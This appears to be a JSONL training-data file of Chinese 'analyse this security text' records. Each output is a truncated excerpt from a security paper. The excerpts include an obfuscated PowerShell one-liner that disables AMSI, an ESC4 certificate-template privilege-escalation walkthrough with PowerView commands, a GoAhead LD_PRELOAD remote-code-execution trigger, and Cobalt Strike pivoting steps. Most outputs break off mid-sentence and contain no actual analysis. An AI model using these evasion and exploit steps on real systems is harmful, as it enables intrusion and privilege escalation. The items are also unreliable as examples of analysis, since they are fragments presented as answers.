```java public String replaceSpace(StringBuffer str) { int P1 = str.length() - 1; for (int i = 0; i <= P1; i++) if (str.charAt(i) == ' ') str.append(\" \"); int P2 = str.length() - 1; while (P1 >= 0 && P2 > P1) { char c = str.charAt(P1--); if (c == ' ') { str.setCharAt(P2--, '0'); str.setCharAt(P2--, '2'); str.setCharAt(P2--, '%'); } else { str.setCharAt(P2--, c); } } return str.toString(); } ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n针对域证书服务的攻击4- ESC4 0x00 前言 ESC4叫做Vulnerable Certificate Template Access Control其实是弱ACL的证书模板会导致域提权 写完ESC1-ESC3ESC4由于白皮书没有比较详细的过程并且我本地域环境出了点问题就搁置到现 在但是国庆的时候看见国外的研究员发布了一篇关于ESC4的文章https://github.com/daem0nc0 re/Abusing_Weak_ACL_on_Certificate_Templates减少了我很多工作量我们知道每个模板都有自己 的权限控制策略ESC4利用的就是这个权限控制不严格例如domain users组的用户具有写入权 限这样它就可以修改模板的配置为可以满足提权的配置样式比如修改成ESC1的配置言归正传我 们还是先来搭建测试环境 0x01 危害环境搭建 我们基于\"基本EFS\"配置ESC4的危害模板修改模板名称为ESC4其他配置如下 开启CA证书管理程序批准 开启授权签名 配置Domain Users有可写权限危害点 其他保持默认 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 1 / 9 - Welcome to www.red-team.cn Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 2 / 9 - Welcome to www.red-team.cn 好了配置就这么简单其实重要的是domain users具有写入权限其他的配置只是模仿常见情况然 后记得发布证书模板 0x02 利用 我还是使用Certify.exe 来发现危害 Certify.exe find /vulnerable Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 3 / 9 - Welcome to www.red-team.cn 我们主要利用的是domain users具有WriteDacl的权限来修改模板的配置让这个模板满足ESC1的要 求 模板注册权限 我们现在只有模板的写入权限没有模板的注册权限我们来给模板加注册权限我们使用powerview 来操作直接加载powerview可能会被AMSI拦截 这个难不倒我们读过bypass amsi的前世今生系列的同学应该秒过我们直接用一句话关闭 AMSI 加注册权限 $a=\"5492868772801748688168747280728187173688878280688776828\" $b=\"1173680867656877679866880867644817687416876797271\" $c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace \" \" $d=[Ref].Assembly.GetType($c) $e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace \" \" $f=$d.GetField($e,'NonPublic,Static') $f.SetValue($null,$true) Produced by AttackTeamFamily - Author: L.N. - Date: 2021-10-11 No. 4 / 9 - Welcome to www.red-team.cn 我们使用Certify.exe来验证下是否有注册权限 禁用CA证书管理程序批准 虽然这个是我们人工配置开启的是为了模拟常见情况我们这会儿把这个配置关闭同样使用 powerview Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity \"Domain Users\" - RightsGUID \"0e10c968-78fb-11d2-90d4-00c04f79dc55\" -TargetSearchBase \"LDAP://CN=Configuration,DC=redteamlab,DC=com\" -Verbose Set-DomainObject -SearchBase \"CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=redteamlab,DC=com\" -Identity ESC4 -X", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## Neo (Crypto, 200p) ###ENG [PL](#pl-version) The task shows a webpage with Neo going to Oracle. There is a html form with some base64 encoded data. Decoding gives some random 80 bytes blob. Once every few seconds the data changes, most likely there is embedded timestamp. If we provide our own base64 data in the form the page says that `AES decryption failed`. This all points to `Padding Oracle Attack` - vulnerability which allows us to decode n-1 blocks of block cipher ciphertext in CBC mode. In CBC mode the plaintext is XORed with previous block ciphertext. This means that a change in a single byte of ciphertext will cause all bytes on corresponding positions in next blocks to be decrypted incorrectly, since they will be XORed with a wrong value. What we want to achieve in the attack is to exploit how decryption handles padding. In PKCS7 padding the last byte of decrypted data defines padding. It's a number which says how many padding bytes there are and also what value each of them holds. For example if there is 3 byte padding the 16 byte block would be `XXXXXXXXXXXXX0x30x030x3`. If the padding is not formed correctly we will get decryption error, since it means the data were tamered with. What we want to achieve with our attack is to try to guess the plaintext byte by attempting to \"transform\" it into padding. Let's assume we have 2 blocks of ciphertext. If we change the last byte of the first block this value will be XORed with decrypted last byte of the second block. We changed it so it won't get the \"proper\" value anymore, so the padding will be broken for sure... unless the value will become `0x1`, which is a correct padding indicator! If the value became `0x1` this means that `our_changed_byte XOR decrypted_byte = 0x1` and this means that `decrypted_byte = our_changed_byte XOR 0x1`! So if for a certain value we won't get decryption error this means we successfully decoded the last byte of ciphertext. Now we can extend this to more bytes - to recover the by", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\npidstat === 监控进程的系统资源占用情况 ## 说明 **pidstat**是sysstat工具的一个命令用于监控全部或指定进程的cpu内存线程设备IO等系统资源的占用情况 pidstat首次运行时显示自系统启动开始的各项统计信息之后运行pidstat将显示自上次运行该命令以后的统计信息用户可以通过指定统计的次数和时间来获得所需的统计信息 ### 语法 ```shell pidstat [ 选项 ] [ <时间间隔> ] [ <次数> ] ``` #### 选项 - u默认的参数显示各个进程的cpu使用统计 - r显示各个进程的内存使用统计 - d显示各个进程的IO使用情况 - w显示每个进程的上下文切换情况 - t显示到线程的统计信息 - p指定进程号 - T { TASK | CHILD | ALL } 这个选项指定了pidstat监控的TASK表示报告独立的taskCHILD关键字表示报告进程下所有线程统计信息ALL表示报告独立的task和task下面的所有线程 注意task和子线程的全局的统计信息和pidstat选项无关这些统计信息不会对应到当前的统计间隔这些统计信息只有在子线程kill或者完成的时候才会被收集 - V版本号 - h在一行上显示了所有活动这样其他程序可以容易解析 - I在SMP环境表示任务的CPU使用率/内核数量 - l显示命令名和所有参数 ### 实例 #### 查看所有进程的CPU使用情况 ```shell # pidstat -u -p ALL 11:04:06 AM UID PID %usr %system %guest %CPU CPU Command 11:04:06 AM 0 1 0.03 0.05 0.00 0.08 20 systemd 11:04:06 AM 0 2 0.00 0.00 0.00 0.00 28 kthreadd 11:04:06 AM 0 3 0.00 0.00 0.00 0.00 0 rcu_gp 11:04:06 AM 0 4 0.00 0.00 0.00 0.00 0 rcu_par_gp 11:04:06 AM 0 6 0.00 0.00 0.00 0.00 0 kworker/0:0H-kblockd 11:04:06 AM 0 9 0.00 0.00 0.00 0.00 38 mm_percpu_wq 11:04:06 AM 0 10 0.00 0.01 0.00 0.01 0 ksoftirqd/0 11:04:06 AM 0 11 0.00 0.23 0.00 0.23 15 rcu_sched 11:04:06 AM 0 12 0.00 0.00 0.00 0.00 0 migration/0 11:04:06 AM 0 14 0.00 0.00 0.00 0.00 0 cpuhp/0 11:04:06 AM 0 15 0.00 0.00 0.00 0.00 1 cpuhp/1 ... ``` 表头字段说明 - PID进程ID - %usr进程在用户空间占用cpu的百分比 - %system进程在内核空间占用cpu的百分比 - %guest进程在虚拟机占用cpu的百分比 - %CPU进程占用cpu的百分比 - CPU处理进程的cpu编号 - Command当前进程对应的命令 #### 查看所有进程的内存使用情况 ```shell # pidstat -r 11:10:35 AM UID PID minflt/s majflt/s VSZ RSS %MEM Command 11:10:35 AM 0 1 7.24 0.05 191312 4208 0.01 systemd 11:10:35 AM 0 1407 2.02 0.09 39316 9016 0.03 systemd-journal 11:10:35 AM 0 1442 0.03 0.00 190380 1080 0.00 lvmetad 11:10:35 AM 0 1457 0.46 0.00 46252 1560 0.00 systemd-udevd 11:10:35 AM 0 2429 0.11 0.00 163620 9472 0.03 sshd 11:10:35 AM 992 2446 0.02 0.00 8588 996 0.00 lsmd 11:10:35 AM 0 2447 0.05 0.00 90572 1468 0.00 rngd 11:10:35 AM 0 2448 0.15 0.02 451272 3520 0.01 udisksd 11:10:35 AM 0 2449 0.18 0.02 396488 1948 0.01 accounts-daemon 1", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 0x00 端口转发 虽然他是集成在CS里面的工具 但是速度很慢很不问题建议还是使用其他成熟的工具ew之类的 这里就做个介绍 ``` beacon> help rportfwd Use: rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] Binds the specified port on the target host. When a connection comes in, Cobalt Strike will make a connection to the forwarded host/port and use Beacon to relay traffic between the two connections. ``` >rportfwd 本机端口 目标ip 目标端口 然后本地使用 就是本机ip+本机端口 # 0x01 socks4 通过这些SOCKS服务器的所有连接都将变为连接读取写入和关闭任务状态以便执行相关的Beacon您可以通过SOCKS的任何类型的Beacon进行隧道传输 Beacon的HTTP数据通道对数据转发的响应最快如果您想通过DNS转发流量请使用DNS TXT记录通信模式 CS本身支持的是socks4代理貌似有脚本支持socks5他有2种用法一种是配合proxychains带入目标内网 一种是直接把msf带入目标内网 ``` beacon> help socks Use: socks [stop|port] Starts a SOCKS4a server on the specified port. This server will relay connections through this Beacon. Use socks stop to stop the SOCKS4a server and terminate existing connections. Traffic will not relay while Beacon is asleep. Change the sleep time with the sleep command to reduce latency. ``` 然后用proxychains 配合工具 ``` vi /etc/proxychains.conf socks4 xxx.xxx.xxx.xx 5566 ``` 配合msf 找到view >proxy pivots ![Cobalt Strike ](./img/10.1.png) 然后打开msf 设置即可 ![Cobalt Strike ](./img/10.2.png) msf 中 unsetg Proxies来停止此执行 # 0x02 Covert VPN ### 部署Covert VPN 要激活Covert VPN右键单击受控的主机 Pivoting - > Deploy VPN选择您希望Covert VPN绑定到的远程接口如果没有本地接口请选择Add来创建 ![Cobalt Strike ](./img/10.3.png) >clone host mac address 检查克隆主机MAC地址使本地接口与远程接口具有相同的MAC地址 选择Deploy在目标上启动Covert VPN客户端Covert VPN需要管理员访问才能部署 一旦Covert VPN接口被激活您就可以像使用系统上的任何物理接口一样使用它使用ifconfig配置其IP地址如果目标网络具有DHCP服务器则可以使用操作系统的内置工具从该服务器请求IP地址 ### 管理接口 要管理您的Covert VPN接口请进入到Cobalt Strike - > Interfaces在这里Cobalt Strike将显示Covert VPN接口它们的配置方式以及通过每个接口传输和接收的字节数突出显示一个接口然后选择Remove清除该接口并关闭远程Covert VPN客户端Covert VPN将在重新启动时删除其临时文件并立即自动撤消任何系统更改 选择Add 以配置新的Covert VPN接口 ### 配置接口 Covert VPN接口包括一个网路分流器(Network Tap)和一个通过以太网帧进行通信的通道要配置接口请选择接口名称这是稍后通过ifconfig操作的内容和MAC地址 ![Cobalt Strike ](./img/10.4.png) ### VPN接口设置 您还必须为您的接口配置Covert VPN通信通道Covert VPN可以通过UDP连接TCP连接ICMP或使用HTTP协议来通信以太网帧TCP反向通道的目标连接到Cobalt ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# GoAhead Web Server HTTPd 'LD_PRELOAD' Remote Code Execution (CVE-2017-17562) [中文版本(Chinese version)](README.zh-cn.md) Embedthis GoAhead is the world's most popular, tiny embedded web server, which is deployed in hundreds of millions of devices and is ideal for the smallest of embedded devices. GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked. This is a result of initializing the environment of forked CGI scripts using untrusted HTTP request parameters in the cgiHandler function in `cgi.c`. When combined with the glibc dynamic linker, this behaviour can be abused for remote code execution using special parameter names such as `LD_PRELOAD`. An attacker can POST their shared object payload in the body of the request, and reference it using /proc/self/fd/0. References: - https://www.elttam.com.au/blog/goahead/ - https://www.exploit-db.com/exploits/43360 - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/goahead_ldpreload.rb ## Vulnerable environment Execute following commands to start a GoAhead 3.6.4: ``` docker compose up -d ``` Then, you can see the welcome page at `http://your-ip:8080`, CGI scripts is available at `http://your-ip:8080/cgi-bin/index`. ## Exploit First of all, compile this hijack code to a dynamic shared library: ```C #include static void before_main(void) __attribute__((constructor)); static void before_main(void) { write(1, \"Hello: World!\\n\", 14); } ``` > Please notice that, since GoAhead is a compact embedded webserver running on almost any possible IoT device, the format of dynamic shared library is always depending on the target server architecture. In the real world, compiling exploits is not as easy as this manual suggests, although Vulhub could show you a simplest example. Compile on a x86/64 environment: ``` gcc -shared -fPIC ./payload.c -o payload.so ``` Use curl to trigger the attack: ``` curl -X POST --data-binary @payload.so \"http:", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: masscan categories: Information Gathering tags: [masscan,portscanning,information gathering,kali linux,recon] date: 2017-04-23 11:03:41 --- 0x00 介绍 ------- 视频介绍[https://asciinema.org/a/31820][1] masscan目前是最快的互联网端口扫描器最快可以在六分钟内扫遍互联网 masscan的扫描结果类似于nmap(一个很著名的端口扫描器)在内部它更像scanrand, unicornscan, and ZMap采用了异步传输的方式它和这些扫描器最主要的区别是它比这些扫描器更快而且masscan更加灵活它允许自定义任意的地址范和端口范围 [主页][2] | [仓库][3] - 作者Robert Graham - 证书GPLv2 0x01 功能 ------- masscan - 异步TCP端口扫描器 ```plain root@kali:~# masscan 用法: masscan -p80,8000-8100 10.0.0.0/8 --rate=10000 扫描一些Web端口10.x.x.x以每秒10000发包速率 masscan --nmap 列出与nmap兼容的选项 masscan -p80 10.0.0.0/8 --banners -oB 将二进制格式的扫描结果保存到 masscan --open --banners --readscan -oX 读取二进制扫描结果并将其保存为xml格式 ``` 0x02 更多参数 ------- ```plain IP地址范围有三种有效格式 1单独的IPv4地址 2类似\"10.0.0.1-10.0.0.233\"的范围地址 3CIDR地址 类似于\"0.0.0.0/0\"多个目标可以用都好隔开 -p > 指定端口进行扫描 --banners 获取banner信息支持少量的协议 --rate 指定发包的速率 -c , --conf 读取配置文件进行扫描 --echo 将当前的配置重定向到一个配置文件中 -e , --adapter 指定用来发包的网卡接口名称 --adapter-ip 指定发包的IP地址 --adapter-port 指定发包的源端口 --adapter-mac 指定发包的源MAC地址 --router-mac 指定网关的MAC地址 --exclude IP地址范围黑名单防止masscan扫描 --excludefile 指定IP地址范围黑名单文件 --includefile-iL 读取一个范围列表进行扫描 --ping 扫描应该包含ICMP回应请求 --append-output 以附加的形式输出到文件 --iflist 列出可用的网络接口然后退出 --retries 发送重试的次数以1秒为间隔 --nmap 打印与nmap兼容的相关信息 --http-user-agent 设置user-agent字段的值 --show [open,close] 告诉要显示的端口状态默认是显示开放端口 --noshow [open,close] 禁用端口状态显示 --pcap 将接收到的数据包以libpcap格式存储 --regress 运行回归测试测试扫描器是否正常运行 --ttl 指定传出数据包的TTL值默认为255 --wait 指定发送完包之后的等待时间默认为10秒 --offline 没有实际的发包主要用来测试开销 -sL 不执行扫描主要是生成一个随机地址列表 --readscan 读取从-oB生成的二进制文件可以转化为XML或者JSON格式. --connection-timeout 抓取banners时指定保持TCP连接的最大秒数默认是30秒 ``` 0x03 教程 ------- [Masscan最快的互联网IP端口扫描器][4] [Kali下masscan的使", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBypass AMSI的前世今生(3) - 脚本混淆和一行命令关闭AMSI 0x00 前言 本文的主要讲解[BA2-3]也就是脚本混淆和一行命令关闭AMSI的原理而不是具体的脚本混淆方法 混淆方法其实就是对脚本语法的理解然后加入各种额外字符或换一种表示方法混淆姿势细致繁复 并且在网上已有比较全面的脑图和总结文章在此就没必要重复了相关推荐资料会在文末贴出本文 主要分为以下几个部分 为什么脚本混淆能够过AMSI 一行命令关闭AMSI原理 [BA2]和[BA3]配合达到关闭AMSI的作用 学习建议工具和相关资料推荐 0x01 为什么脚本混淆能够过AMSI 脚本混淆能够过AMSI这句话其实是不正确的本系列第一篇文章中已经解释过了AMSI其实只是一个 通道真正识别是否是恶意软件或脚本的还是杀毒软件例如defender因此脚本混淆欺骗的是杀 毒软件的特征库当然具体杀毒软件怎么来识别有很多种方法 AMSI把我们的恶意脚本交给杀毒软件杀毒软件做识别目前大部分的识别方式还是特征码的方式当 然杀毒软件也会把样本传到云端做机器学习或者人工分析最后再反馈特征库给杀毒软件导致我们恶 意脚本被杀这也就是为什么我们能过一时杀软但是几天后也就被杀了的原因 脚本混淆能够过AMSI准确的说应该是脚本混淆能够过杀毒因此脚本混淆能不能有用取决于杀软厉 不厉害但当前脚本混淆依旧有用是因为大部分杀软对恶意脚本的侦测还是特征码 0x02 一行命令关闭AMSI原理 通过0x01我们知道AMSI只是一个通道我们把这个通道掐断也就阻断了杀毒软件的侦测而Matt Graeber在16年提出了一种方法 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-22 No. 1 / 4 - Welcome to www.red-team.cn 原理已经被很多文章分析https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-loggi ng-evasion/具体的小伙伴可以阅读以上文章简单的说就是利用反射直接把判断是否要使用杀毒软件 进行扫描的变量始终改成false这样AMSI就不会把我们的恶意脚本交给杀毒软件而是直接返回 AMSI_RESULT_NOT_DETECTED 0x03 结合上面2种方法关闭AMSI 通过以上我们知道混淆是能够过杀毒软件的通过一行命令是可以掐断AMSI通道了由于这一行命令 也是脚本自身会被AMSI传递给杀毒软件并被查杀因此我们结合以上2中方法通过混淆一行命 令来过杀软并掐断AMSI通道这样我们再执行任何恶意脚本都不会被传递给杀毒 下面我们来实践一下 测试环境 Windows 10 21H110.0.19043.1237 Powershell 5.1.19041.1237 Defender 1.349.1192.0 (2021/09/22) 原始脚本 根据这个脚本如果把特征提取在函数上很容易造成误报因此很有可能特征是在 System.Management.Automation.AmsiUtils 和 amsiInitFailed 上我们去掉测试一下 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPublic,Static').SetValue($null,$true) [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPublic,Static').SetValue($null,$true) Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-22 No. 2 / 4 - Welcome to www.red-team.cn 我偷个懒前段时间在星球发了一个混淆脚本,但是目前已经不能过了 我们对这个脚本进行拆解 这段bypass的核心思想也就是对 System.Management.Automation.AmsiUtils 和 amsiInitFailed 的 关键字符进行编码解码我只是对脚本进行了拆解发现就已经能过了 $A=\"5492868772801748688168747280728187173688878280688776828\" $B=\"1173680867656877679866880867644817687416876797271\" [Ref].Assembly.GetT", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAuthor:@Y4er.com 调用关系查询 分析 com.imc.iview.network.NetworkServlet#doPost 两次校验 com.imc.iview.utils.CUtils#checkFileNameIncludePath(java.lang.String) MATCH (n:Class{NAME:'javax.servlet.http.HttpServlet'})-[:EXTEND]-(c:Class)- [:HAS]->(m:Method)-[:CALL*2]- (m1:Method{NAME:'exec',CLASS_NAME:'java.lang.Runtime'}) return * 检验 \\webapps\\ 防止写shell com.imc.iview.utils.CUtils#checkSQLInjection 检测了一些关键字 public boolean checkSQLInjection(String model0) { boolean result = false; String model = model0.toLowerCase(); if (!model.contains(\" or \") && !model.contains(\"'or \") && !model.contains(\"||\") && !model.contains(\"==\") && !model.contains(\"--\")) { if (model.contains(\"union\") && model.contains(\"select\")) { if (this.checkCommentStr(model, \"union\", \"select\")) { result = true; } } else if (model.contains(\"case\") && model.contains(\"when\")) { if (this.checkCommentStr(model, \"case\", \"when\")) { result = true; } } else if (model.contains(\"into\") && model.contains(\"dumpfile\")) { if (this.checkCommentStr(model, \"into\", \"dumpfile\")) { result = true; } } else if (model.contains(\"into\") && model.contains(\"outfile\")) { if (this.checkCommentStr(model, \"into\", \"outfile\")) { result = true; } } else if (model.contains(\" where \") && model.contains(\"select \")) { result = true; } else if (model.contains(\"benchmark\")) { result = true; } else if (model.contains(\"select\") && model.contains(\"from\")) { if (this.checkCommentStr(model, \"select\", \"from\")) { result = true; } } else if (model.contains(\"select/*\")) { result = true; } else if (model.contains(\"delete\") && model.contains(\"from\")) { if (this.checkCommentStr(model, \"delete\", \"from\")) { result = true; } } else if (model.contains(\"drop\") && model.contains(\"table\") || model.contains(\"drop\") && model.contains(\"database\")) { if (this.checkCommentStr(model, \"drop\", \"table\")) { result = true; } if (this.checkCommentStr(model, \"drop\", \"database\")) { 那么mysqldump可以拼接 -w 参数将内容写入文件然后可以多次传递 -r 参数覆盖原有的 -r 文件路径值 正常的命令为 命令注入构造payload result = true; } } else if (!model.co", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Text rendering is hard * Category: Misc. * 200 Points * Solved by the JCTF Team ## Description > Looking for text in the PDF structure is much like looking for the Cheshire Cat. It's almost completely invisible, only leaving trace hints that the file even contains text to those unfamiliar with the structure. > > Try to understand how text is stored in PDF files and what happens when you tweak different parts to find the cipher key. A PDF file was attached. ## Solution We get a PDF file with the following text: ``` It was all very well to say SUBSTITUTE me but the wise little Alice was not going to do that in a hurry No Ill look first she said and see whether its marked CMAP or fURmURS!cu ODcdg! DOBNx ``` Well, we have some garbled text at the end, and there's a very thick hint towards a substitution cipher. We can clearly test that using the flag format: ``` fURmUR INTENT ``` So we just need to find the key. Using `peepdf` we can browse the PDF internal objects, and find the following entry: ```console (user@kali)-[/media/sf_CTFs/intent/Text_rendering_is_hard] $ python2 ~/utils/forensics/peepdf/peepdf.py -C \"object 8\" Text_rendering_is_hard.pdf << /Length 564 /Filter /FlateDecode >> stream /CIDInit/ProcSet findresource begin 12 dict begin begincmap /CIDSystemInfo<< /Registry (Adobe) /Ordering (UCS) /Supplement 0 >> def /CMapName/Adobe-Identity-UCS def /CMapType 2 def 1 begincodespacerange <00> endcodespacerange 81 beginbfchar <01> <0061> <15> <02> <0062> <14> <03> <0063> <27> <04> <0064> <28> <05> <0065> <0E> <06> <0066> <0A> <07> <0067> <34> <08> <0068> <3A> <09> <0069> <3E> <0A> <006A> <47> <0B> <006B> <4A> <0C> <006C> <49> <0D> <006D> <2A> <0E> <006E> <29> <0F> <006F> <07> <10> <0070> <39> <11> <0071> <20> <12> <0072> <43> <13> <0073> <4C> <14> <0074> <03> <15> <0075> <12> <16> <0076> <4F> <17> <0077> <45> <18> <0078> <01> <19> <0079> <21> <1A> <007A> <44> <1B> <0041> <16> <1C> <0042> <30> <1D> <0043> <38> <1E> <0044> <05> <1F> <0045> <0D> <20> <0046> <02>", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDDoS Protecion Total AnnihilationD DDoS Mitigation Lab A DDoS Mitigation Lab Independent academic R&D division of Nexusguard building next generation DDoS mitigation knowledge and collaborate with defense community. Industry body formed to foster synergy among stakeholders to promote advancement in DDoS defense knowledge. DDoS Mitigation Lab DDoS Mitigation Lab DDoS Relevance, Attack Categories, Detection & Mitigation Source Host Verification: Authentication Methods TCP SYN Auth HTTP Redirect Auth HTTP Cookie Auth JavaScript Auth CAPTCHA Auth PoC Tool TCP Traffic Model HTTP Traffic Model DDoS Mitigation Lab Size Bandwidth > 20Gbps Complexity Layer 7 > 30% Frequency Attack > 2.5mil per year Cost Lost > US$6M per hour!! Source: NTT Communications, Successfully Combating DDoS Attacks (Aug 2012) DDoS Mitigation Lab Volumetric Semantic Blended DDoS Mitigation Lab DDoS Mitigation Lab DDoS Mitigation Lab SYN ACK SYN ACK RST SYN SYN ACK ACK DDoS Mitigation Lab RST SYN SYN ACK SYN SYN ACK ACK DDoS Mitigation Lab GET /index.html HTTP 302 redir to /foo/index.html GET /foo/index.html HTTP 302 redir to /index.html GET /index.html DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html HTTP 302 redir to /index.html GET /index.html GET /index.html DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html [X-Header: foo=bar] GET /index.html [X-Header: foo=bar] GET /index.html [X-Header: foo=bar] HTTP 302 redir to /index.html [X-Header: foo=bar] GET /index.html [X-Header: foo=bar] DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html GET /index.html POST /auth.php ans=16 JS 7+nine=? DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html GET /index.html POST /auth.php DDoS Mitigation Lab c DDoS Mitigation Lab c DDoS Mitigation Lab c DDoS Mitigation Lab Number of Connections Connection Hold Time Before 1st Request Connection Idle Timeout After Last Request Connections Interval Connections Interval DDoS Mitigation Lab c DDoS Mit", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBlack Hat USA 2007 Tactical Exploitation Tactical Exploitation the other way to pen-test the other way to pen-test hdm / valsmith hdm / valsmith Black Hat USA 2007 who are we ? who are we ? H D Moore BreakingPoint Systems || Metasploit Valsmith Offensive Computing || Metasploit Black Hat USA 2007 why listen ? why listen ? A different approach to pwning New tools, fun techniques Real-world tested :-) Black Hat USA 2007 what do we cover ? what do we cover ? Target profiling Discovery tools and techniques Exploitation Getting you remote access Black Hat USA 2007 the tactical approach the tactical approach Vulnerabilites are transient Target the applications Target the processes Target the people Target the trusts You WILL gain access. Black Hat USA 2007 the tactical approach the tactical approach Crackers are opportunists Expand the scope of your tests Everything is fair game What you dont test... Someone else will. Black Hat USA 2007 the tactical approach the tactical approach Hacking is not about exploits The target is the data, not r00t Hacking is using what you have Passwords, trust relationships Service hijacking, auth tickets Black Hat USA 2007 personnel discovery personnel discovery Security is a people problem People write your software People secure your network Identify the meatware first Black Hat USA 2007 personnel discovery personnel discovery Identifying the meatware Google Newsgroups SensePost tools www.Paterva.com Black Hat USA 2007 personnel discovery personnel discovery These tools give us Full names, usernames, email Employment history Phone numbers Personal sites Black Hat USA 2007 personnel discovery personnel discovery CASE STUDY Black Hat USA 2007 personnel discovery personnel discovery Started with no information but CO name and function Found online personnel directory Found people / email addresses Email name = username = target Black Hat USA 20", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Writeup InsomniHack CTF 2017 Team: msm, rev, shalom, akrasuski1, nazywam, c7f.m0d3, cr01283 ### Table of contents * [bender_safe](bender_safe) * [internet_of_fail](internet_of_fail) * [mindreader](mindreader) * [cryptoquizz](cryptoquizz) * [the_great_escape1](the_great_escape1) * [the_great_escape2](the_great_escape2)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nLets talk about SOAP, baby. Lets talk about UPnP. Ricky HeadlessZeke Lawshae DEFCON 23 Who am I? Security Researcher for HP TippingPoints DVLabs team At Rapid7 before that, and BreakingPoint before that Speaker at Defcon, Recon, Insomnihack, and Ruxcon Voider of warranties Reader of comic books Drinker of beers TRIVIA: I once got a job at a police department while I had 4 active warrants out for my arrest. What are we talking about? The Internet of Things (ugh) Its here, whether you like it or not Just put a network interface on it. Well worry about why later. Smart devices arent very smart Need simple way to talk to each other Ease-of-use: Get the tech out of the way of UX Often accomplished with SOAP/UPnP services Super talkative Happily tell you all their capabilities in a well-structured format Also, dont bother themselves with pesky issues like security What are we talking about? UPnP Universal Plug and Play SSDP Simple Service Discovery Protocol SCPD Service Control Protocol DeBnition SOAP Simple Object Access Protocol Lets talk about all the good things UPnP 1900/UDP HTTP over UDP allowing devices to discover each other Multicast 239.255.255.250 UPnP Stack[1] Discovery Advertising and Searching Description An XML Ble describing the device Control Call an action or query for a value Eventing Used for announcing state changes Presentation UIweb page or management portal I guess? [1] http://www.upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.0-20080424.pdf UPnP Discovery All you need to know about discovery. Also, this is the really noisy part. UPnP Discovery All you need to know about discovery. Also, this is the really noisy part. UPnP Description XML Ble usually hosted on a high number TCP port Version info upnp.org spec Usually just 1.0 Device deBnitions Device type Make/model/UUID Service list Service type SCPD URL Control URL Event URL UPnP Description 1 0utils->conn.py的http_req函数有个bug这conn如果遇到链接错误没有做异常捕获会 导致上层调的进程直接报错退出 我在fileleak这看到的这个报错因此我直接在这加了异常捕获如果不加基本上扫描次 次会中断报错 0x04 集成xray时候的问题 xray的集成废了好的劲有些坑吧我也不知道我解决的对不对总之按照我的式算是解决 了 xray在执的时候会寻找录的配置件我们是通过arl来执的xray所以录的相对位置会 有定影响具体过程我就不说了我是这样解决的 把这三个yaml放到arl主录然后还有xray的主件夹在主件我们在放要的 config再通过参数来指定config.yaml的位置这样执就不会报错了如果没有把这三个yaml件 放在根录是会报错的 其次xray在容器内执依赖于个libpcap.so解决式是把Linux正常的复制到容器的lib 录下 这两个做完后xray的执基本上是不会有问题了 接下来是arl和xray对接的些细节问题之前说过把xray的json格式输出后对接到nuclei的字段 整体处理思路是没有问题的但是xray的json输出很的问题在于字段不太固定它不像 nuclei样如果个字段没有值会置空是直接没有这个键值因此我们在映射的时候可能会遇 到json获取键值获取不到直接报错的问题 这点确实要吐槽太坑了我前是这样做的 实现效果 验证命令这会展示完整的请求和响应直接复制出来贴到vscode看就了 还算是较便的就是xray可能误报较多需要进步优化下 0x05 总结 基本这样就够了后重点在指纹收集录爆破和合理的扫描策略上进优化即可", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nStrategic Cyber Security An Evaluation of Nation-State Cyber Attack Mitigation Strategies Kenneth Geers NCIS Cyber SME Free download: ccdcoe.org/278.html About me 2011-: NCIS Cyber Subject Matter Expert 2007-2011: NATO Cyber Centre, Estonia 2001-2007: NCIS Cyber Analysis (Div Chief) 19992001: SAIC Security Studies Web/VB Dev 19932002: USAR SIGINT Analyst, NSA National Security Perspective All conflicts now have a cyber dimension Tactical: espionage, propaganda, DoS, CIP Strategic: terror / war ? Strategic problems req strategic solutions Nation-state, international Beyond tactical, temporary fixes 